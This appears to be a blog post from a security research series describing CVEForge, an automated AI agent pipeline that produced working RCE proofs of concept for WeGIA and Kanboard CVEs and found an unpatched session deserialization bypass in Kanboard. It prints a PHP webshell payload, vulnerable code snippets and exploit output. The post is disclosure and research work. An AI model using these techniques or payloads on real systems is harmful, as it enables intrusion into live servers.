After the first CVEForge run we were, honestly, a little stunned. One CVE number in, working RCE PoC out, 32 minutes, $7.71. No human in the loop. It felt like a fluke - the kind of result you get once because the stars align and the vulnerability happens to be just the right shape for the tooling.
One successful run is an anecdote. We needed more.
Finding Targets
We didn’t want to cherry-pick easy cases. We also didn’t want binary exploitation or kernel bugs - CVEForge is built for application-level vulnerabilities where the attack surface is a web endpoint, a protocol handler, a file parser. The kind of thing where the PoC is a Python script, not a ROP chain.
So we did what any reasonable person would do: we asked the EIP MCP server .
We filtered for critical-severity CVEs with few or zero existing public exploits, in web application stacks, published recently enough that the source code was available. Several came back. Two caught our eye:
CVE-2025-58159 - Unrestricted file upload in WeGIA, a PHP charity management platform. CVSS 9.9. Zero public exploits.
CVE-2025-55010 - Unsafe deserialization in Kanboard, a PHP project management tool. CVSS 9.1. One writeup, no working PoC.
Different vulnerability classes. Different codebases. Different attack surfaces. Good test cases.
CVE-2025-58159: The Lie of MIME Validation
./cveforge start CVE=CVE-2025-58159
WeGIA is a web-based management system for charitable institutions in Brazil. Open source, actively maintained, handling real beneficiary data for real nonprofits. Version 3.4.10 had a file upload endpoint for importing Excel spreadsheets - controla_xlsx.php, 81 lines of PHP.
The endpoint did MIME validation correctly. It used finfo_file() - not the unreliable $_FILES['type'] from the client - and checked the magic bytes against a whitelist of Excel MIME types. By the book.
Then it saved the file with whatever extension the user provided.
// MIME validation via finfo - checks file MAGIC BYTES
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$file_mime = finfo_file($finfo, $file_tmp);
finfo_close($finfo);
if (!in_array($file_mime, $allowed_types)) {
die(json_encode(['resultado' => false, 'mensagem' => 'Tipo não permitido']));
}
// Extension from user-supplied filename - NO WHITELIST CHECK
$ext = pathinfo($file_name_original, PATHINFO_EXTENSION);
$new_name = uniqid() . '_' . $sanitized_name . '.' . $ext;
move_uploaded_file($file_tmp, '../tabelas/' . $new_name);
Two security checks. One rigorous, one absent.
The MIME validation asks: what is this file? The extension handling asks: what should we call this file? And Apache only cares about the second question. A file named shell.php gets executed as PHP regardless of whether its first four bytes say PK\x03\x04.
The exploit is a polyglot - a file that’s simultaneously valid XLSX and executable PHP. XLSX files are ZIP archives (magic bytes: PK\x03\x04). PHP ignores everything before <?php. So you build a minimal XLSX (1,592 bytes of proper OOXML structure), append <?php system($_GET["cmd"]); ?>, upload it as shell.php, and the server validates the content (passes - it’s a real XLSX), ignores the extension (no check), and drops a webshell into a web-accessible directory.
Four HTTP requests: authenticate, upload, execute, profit.
[*] Generating minimal XLSX file...
XLSX size: 1592 bytes
Payload size: 1670 bytes (XLSX + PHP)
[*] Uploading polyglot file with .php extension...
[+] Upload successful!
[*] Executing command: id
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] REMOTE CODE EXECUTION CONFIRMED!
The fix was the right call: delete the entire endpoint. Eighty-one lines of PHP, gone. The frontend JavaScript that called it, gone. No code, no bug.
The agent built the whole lab - MariaDB, schema initializer, vulnerable WeGIA 3.4.10, patched 3.4.11 - wrote the polyglot generator, the multipart uploader, and the webshell executor, all from the advisory and source code. No existing public exploit to reference. It wrote one from scratch.
This is an old bug class wearing new clothes. File upload validation has been broken the same way since the early 2000s, and developers keep making the same mistake because MIME checking feels secure. It isn’t. It never was.
CVE-2025-55010: Gadget Chains in Kanboard
./cveforge start CVE=CVE-2025-55010
This one was different. Not a simple input validation gap - a full PHP deserialization chain through a bundled library.
Kanboard
is a lightweight project management tool. Think Trello, but self-hosted, open source, backed by SQLite. Version 1.2.46 had an unsafe unserialize() call in ProjectActivityEventFormatter::unserializeEvent():
protected function unserializeEvent($data) {
if ($data[0] === 'a') {
return unserialize($data); // No allowed_classes restriction
}
return json_decode($data, true) ?: array();
}
The data column in the project_activities table normally contains JSON. But if the first byte is a - the prefix for PHP serialized arrays - it routes through unserialize() without restricting which classes can be instantiated. And Kanboard bundles SwiftMailer in libs/swiftmailer/, which provides a rich set of gadget chains.
The attack chain: admin downloads the SQLite database (a built-in Kanboard feature), injects a crafted PHP-serialized SwiftMailer payload into project_activities.data, uploads the modified database, and views the task activity stream. When unserialize() reconstructs the malicious objects, Swift_Mime_SimpleMimeEntity::__toString() fires during Markdown rendering, chains through RawContentEncoder and DiskKeyCache, and achieves arbitrary file writes via mkdir() + fopen() + fwrite().
The analysis agent traced the full gadget chain through SwiftMailer’s source - SimpleMimeEntity::toString() calling _bodyToString(), which hits DiskKeyCache::setString(), which calls _prepareCache() (mkdir), _getHandle() (fopen), and then writes attacker-controlled content. 154 turns of code reading, grep, and data flow tracing. Thorough.
The PoC agent proved it both ways. Marker mode: a unique string from the deserialized object appears in the HTML response, proving arbitrary object instantiation and __toString() execution. File write mode: inotifywait captured the DiskKeyCache gadget chain creating directories and writing files to /var/www/app/plugins/:
2026-02-27 03:18:44 CREATE,ISDIR /var/www/app/plugins/poc_exploit
2026-02-27 03:18:44 OPEN /var/www/app/plugins/poc_exploit/body
2026-02-27 03:18:44 CLOSE_WRITE,CLOSE /var/www/app/plugins/poc_exploit/body
The fix in v1.2.47 replaces unserialize($data) with return [] - the call is completely eliminated. Clean fix. Correct fix.
Or so we thought.
The Bypass Nobody Expected
Here’s where things got interesting. The analysis agent had flagged the fix as potentially incomplete - not because of the ProjectActivityEventFormatter fix itself, which is airtight, but because of something it noticed while reading neighboring code.
The bypass agent picked up on that flag and started hunting. Turn 40 through turn 119, it read through Kanboard’s service providers, session handling, cache layer, mail transport, plugin loader, and settings model. Methodical. Exhaustive.
At turn 115, it found the sessions table.
Kanboard defaults to database-backed PHP sessions. The SessionHandler class reads session data from a sessions table in the SQLite database:
class SessionHandler implements SessionHandlerInterface
{
public function read($sessionID)
{
$result = $this->db->table(self::TABLE)
->eq('id', $sessionID)
->findOneColumn('data');
return $result ?: '';
}
}
And in SessionManager.php:
public function open()
{
if (SESSION_HANDLER === 'db') {
session_set_save_handler(new SessionHandler($this->db), true);
}
session_start(); // PHP internally calls unserialize() on the data
}
When PHP calls session_start() with a custom session handler, it internally deserializes the data returned by read(). This is core PHP behavior - the application has no control over whether allowed_classes is respected. And the default configuration in constants.php:
defined('SESSION_HANDLER') or define('SESSION_HANDLER', getenv('SESSION_HANDLER') ?: 'db');
Database-backed sessions are the default. The same database the admin can download, modify, and re-upload.
Same prerequisite. Same gadget chain. Completely different code path. The v1.2.47 fix doesn’t touch it.
The bypass agent built a patched container from the fix commit, verified the original PoC fails against it (confirming the fix works for ProjectActivityEventFormatter), then demonstrated the session deserialization bypass:
[*] Target: http://172.21.0.3:80 (cve-2025-55010-patched)
[+] CONFIRMED: unserialize() REMOVED from ProjectActivityEventFormatter (fix applied)
[+] SESSION_HANDLER defaults to 'db' - database-backed sessions ACTIVE
[*] Step 1: Creating marker file inside container...
[*] Step 2: Generating malicious session payload...
[+] Gadget: Swift_ByteStream_TemporaryFileByteStream::__destruct() -> unlink()
[*] Step 3: Injecting malicious session into database...
[*] Step 4: Triggering session deserialization...
[*] Step 5: Verifying bypass...
========================================================================
[+] ======= BYPASS SUCCESSFUL =======
[+] Marker file /tmp/bypass_marker.txt was DELETED!
[+]
[+] PROOF CHAIN:
[+] 1. Malicious PHP-serialized data injected into `sessions` table
[+] 2. HTTP request sent with crafted session cookie
[+] 3. PHP session_start() -> SessionHandler::read() -> returned malicious data
[+] 4. PHP internally called unserialize() on the session data (NO allowed_classes!)
[+] 5. Swift_ByteStream_TemporaryFileByteStream object instantiated
[+] 6. __destruct() triggered -> unlink('/tmp/bypass_marker.txt') -> FILE DELETED
The bypass uses Swift_ByteStream_TemporaryFileByteStream::__destruct() for arbitrary file deletion. The same gadget library, through a different entry point, on the patched version.
We didn’t tell the agent to look at session handling. We didn’t hint that the sessions table might be interesting. It found it because it reads everything in scope - service providers, session managers, cache layers - and it noticed that the same database upload mechanism that enables the original attack also gives you write access to the session store.
The fix locked one door. The bypass walks through another door in the same hallway.
The Numbers
| CVE | Vuln Type | Agents | Duration | Cost | PoC | Bypass |
|---|---|---|---|---|---|---|
| CVE-2025-53833 | SSTI → RCE | 5 | 32m 37s | $7.71 | Confirmed | Skipped (fix complete) |
| CVE-2025-58159 | File upload → RCE | 5 | ~35m | ~$9 | Confirmed | Skipped (endpoint removed) |
| CVE-2025-55010 | Deserialization → RCE | 6 | 58m 3s | $17.21 | Confirmed | Found |
Three CVEs. Three different vulnerability classes. Three working PoCs written from scratch - none of these had existing public exploits the agent could copy. And on the third one, a fix bypass that the upstream developers missed.
The Kanboard run was the most expensive because the bypass agent spent 17 minutes and 119 turns methodically reading through the codebase looking for alternative deserialization sinks. That’s money well spent when the result is a confirmed bypass on a patched version.
What We Learned
The pipeline works across vulnerability classes. SSTI, file upload, deserialization - three fundamentally different bug types, and the same six-agent pipeline produced working PoCs for all of them. The prompts are general enough to handle different attack surfaces without per-CVE tuning.
Lab build is still the bottleneck. Building Docker environments for PHP applications with Composer dependencies, database seeds, and web server configuration takes the most time and turns. We’re working on that - reading the project’s own README before designing Dockerfiles, building only the vulnerable container instead of both vulnerable and patched.
The bypass was the real surprise. We built the bypass agent as a “nice to have” - the analysis flags the fix as potentially incomplete, and if it does, a dedicated agent tries to find a way around it. We expected it to mostly produce “fix is adequate” reports. Instead, on its second real activation, it found a genuine alternative deserialization sink that the Kanboard maintainers didn’t patch. The same attack prerequisites, the same gadget chain, a completely different code path.
Reading neighboring code matters. Both of our bypass findings - the GVFS server-supplied path injection and this Kanboard session deserialization - came from looking at code adjacent to the fixed function. Not the same function, not a different encoding of the same input, but a completely separate code path that shares the same underlying data flow. Human reviewers miss these because they focus on the diff. The agent reads everything in scope because nobody told it to stop.
What’s Next
CVEForge is still rough. The prompts need more iterations. The lab build phase is too expensive. The error handling around Docker networking isn’t where we want it. But three runs in, the pattern is clear: feed it a CVE, get back a complete lab and a working PoC, sometimes with a bonus finding that the fix is incomplete.
We’re going to keep running it against different vulnerability classes and refining the prompts. The EIP MCP server provides the starting intelligence. The agent does the analysis. The results speak for themselves.
All three PoCs and lab environments are on GitHub:
- CVE-2025-53833 (LaRecipe SSTI → RCE)
- CVE-2025-58159 (WeGIA file upload → RCE)
- CVE-2025-55010 (Kanboard deserialization → RCE + bypass)
Three CVE numbers. Zero hand-holding. Old-school vulnerability research, at machine speed.
CVEForge Series:
- From CRLF Injection PoC to Fix Bypass - the one-prompt precursor
- CVE-2025-53833: From CVE Number to Root Shell in 32 Minutes - the first full run
- Zero to RCE: Three Vulnerability Classes - you are here
- OneBlog: 3 Bypasses in 5 Runs - the Java case study
- Foreman & Telnetd - two CVEs, two very different fixes
- 72 Hours, 24 CVEs - the stress test
- The One That Failed - when the pipeline hits a wall